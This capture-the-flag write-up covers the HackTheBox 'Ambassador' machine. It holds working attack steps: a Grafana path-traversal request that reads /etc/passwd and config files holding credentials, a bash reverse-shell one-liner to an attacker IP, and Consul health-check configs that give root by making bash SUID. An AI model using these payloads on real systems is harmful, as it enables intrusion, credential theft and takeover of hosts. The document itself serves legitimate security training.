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# HackTheBox - Ambassador
## NMAP
```bash
Nmap scan report for 10.10.11.183
Host is up (0.19s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 29:dd:8e:d7:17:1e:8e:30:90:87:3c:c6:51:00:7c:75 (RSA)
| 256 80:a4:c5:2e:9a:b1:ec:da:27:64:39:a4:08:97:3b:ef (ECDSA)
|_ 256 f5:90:ba:7d:ed:55:cb:70:07:f2:bb:c8:91:93:1b:f6 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 70
| Capabilities flags: 65535
| Some Capabilities: SupportsCompression, IgnoreSigpipes, FoundRows, IgnoreSpaceBeforeParenthesis, LongPassword, DontAllowDatabaseTableColumn, SupportsTransactions, SupportsLoadDataLocal, InteractiveClient, Speaks41ProtocolO
ld, SwitchToSSLAfterHandshake, Speaks41ProtocolNew, LongColumnFlag, Support41Auth, ConnectWithDatabase, ODBCClient, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
| Status: Autocommit
| Salt: j(EK:\x1F\x14x)\x0D6\x189).\x03 {e!
```
## PORT 80 (HTTP)
From port 80 we'll see a page talking about using `developer` account to login to SSH
![](https://i.imgur.com/afls5Vn.png)
Fuzzing on this site didn't really returned something
![](https://i.imgur.com/QHJ99RU.png)
## PORT 3000 (Grafana)
On port 3000 there's an instance of grafana 8.2.0 running
![](https://i.imgur.com/J9JRUpL.png)
## Foothold
We don't know the password but we can check for vulnerabilities for version 8.2.0, which turns out to be vulnerable to Local FIle Inclusion
![](https://i.imgur.com/HnhHln2.png)
To exploit this we can make a request to `public/plugins/plugin-name` and then followed by the LFI payload, using a script from a github https://github.com/Gabriel-Lima232/Grafana-LFI-8.x this script is is lopping through the `plguins` to find the plugins which are available and make the request to read any local file you want
![](https://i.imgur.com/HPtepIa.png)
![](https://i.imgur.com/y6l8FaY.png)
We can exploit this manually
```bash
http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd
```
![](https://i.imgur.com/OeK7kNu.png)
Reading `/var/lib/grafana/grafana.db` will show us the database for garfana having the admin hash
![](https://i.imgur.com/u4A18aG.png)
We can read ``/etc/grafana/grafana.ini`` which has the admin login password
![](https://i.imgur.com/5swndam.png)
![](https://i.imgur.com/R4rnQW6.png)
We can login with the `admin` user with password we found
![](https://i.imgur.com/Msw5O23.png)
But there wasn't anything from where we could move forward so this was most likely a rabbithole, following this article to decrypt the password https://vk9-sec.com/grafana-8-3-0-directory-traversal-and-arbitrary-file-read-cve-2021-43798/, we can load the sqlite databse through `sqlite3`
![](https://i.imgur.com/Zw1LJDc.png)
This is the password for mysql database for grafana user
![](https://i.imgur.com/JoQCpAh.png)
From `whackywidget` database we can find the password for developer user which is in base64 encoding you could tell as at the end there's `==`
![](https://i.imgur.com/H0sTi76.png)
We can just decode it from base64 and get the plaintext
![](https://i.imgur.com/Q1jgxWF.png)
![]()
Having the password we can login through ssh
![](https://i.imgur.com/2aUFUHu.png)
With `sudo -l` we can try checking if this user can run anything as root or as other user
![](https://i.imgur.com/uLkhxtG.png)
## Privilege Escalation
Running `pspy` it was removing the config file of `consul` which gave away that root must be something to do with it
![](https://i.imgur.com/bBZzMwj.png)
Going to `/opt` directory there's a directory named `my-app` which has `.git` so we can check the commits which reaveals a token
![](https://i.imgur.com/ZGhE5Pr.png)
This token belongs to consul through which we can make API calls and this service is running on port 8500
![](https://i.imgur.com/KKGa6pi.png)
This can be exploited by creating sevice executing a reverse shell using the token we have found,it can be done in two ways
## Method 1
To exploit it manually we have to create a config file for heatlh checks which will execute commands, so we'll create the config file in `/etc/consul.d/config.d` , the format of the config file can be in `HCL` or `JSON`
![](https://i.imgur.com/ahym7v4.png)
We'll first create a bash script to trigger the reverse shell
```bash
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.72/2222 0>&1'
```
![](https://i.imgur.com/HhcftKi.png)
Next creating the health check script
```json
check = {
id = "1"
name = "priuwv-euwsc"
args = ["/bin/bash","/tmp/shell.sh"]
interval = "10s"
timeout = "1s"
}
```
![](https://i.imgur.com/3Sk4Tib.png)
Now copying this file `/etc/consul.d/config.d/` as we the folder is owned by developer group
```bash
cp ./test.hcl /etc/consul.d/config.d/
```
And we are going to register the health check and realod to check for new service or update
```bash
consul services register -token=bb03b43b-1d81-d62b-24b5-39540ee469b5 /etc/consul.d/config.d/test.hcl
consul reload -token=bb03b43b-1d81-d62b-24b5-39540ee469b5
```
![](https://i.imgur.com/bL56h7G.png)
This will give us a shell back as root user but the connection just closes
![](https://i.imgur.com/GxZZIBE.png)
So we could make bash a SUID instead or could put a ssh in root's directory, so I went with making SUID
```bash
check = {
id = "1"
name = "priuwv-euwsc"
args = ["/usr/bin/chmod","4777","/bin/bash"]
interval = "10s"
timeout = "1s"
}
```
Or with `+s`
```json
check = {
id = "1"
name = "priuwv-euwsc"
args = ["/usr/bin/chmod","+s","/bin/bash"]
interval = "10s"
timeout = "1s"
}
```
Again copying it, registering and reloading to check the new scripts
![](https://i.imgur.com/OwFZXp5.png)
With `bash -p` we can run bash as the user who owns it which is root
![](https://i.imgur.com/OJ6gwoL.png)
## Method 2
I found an exploit for consul on `metasploit` and in order to use that we would first need to port forward 8500 through `chisel` so that we can access it
![](https://i.imgur.com/izp4i52.png)
![](https://i.imgur.com/qQpF8zb.png)
Making sure if we are able to make a request
![](https://i.imgur.com/EZLFbAM.png)
Now firing up msf and using the exploit `exploit/multi/misc/consul_service_exec`
![](https://i.imgur.com/ObVfk7D.png)
![](https://i.imgur.com/ncVkrDn.png)
## References
- https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/
- https://github.com/Gabriel-Lima232/Grafana-LFI-8.x
- https://github.com/jas502n/Grafana-CVE-2021-43798
- https://vk9-sec.com/grafana-8-3-0-directory-traversal-and-arbitrary-file-read-cve-2021-43798/
- https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/misc/consul_service_exec
- https://www.consul.io/docs/discovery/checks
- https://www.consul.io/docs/discovery/services
- https://www.consul.io/commands/services/register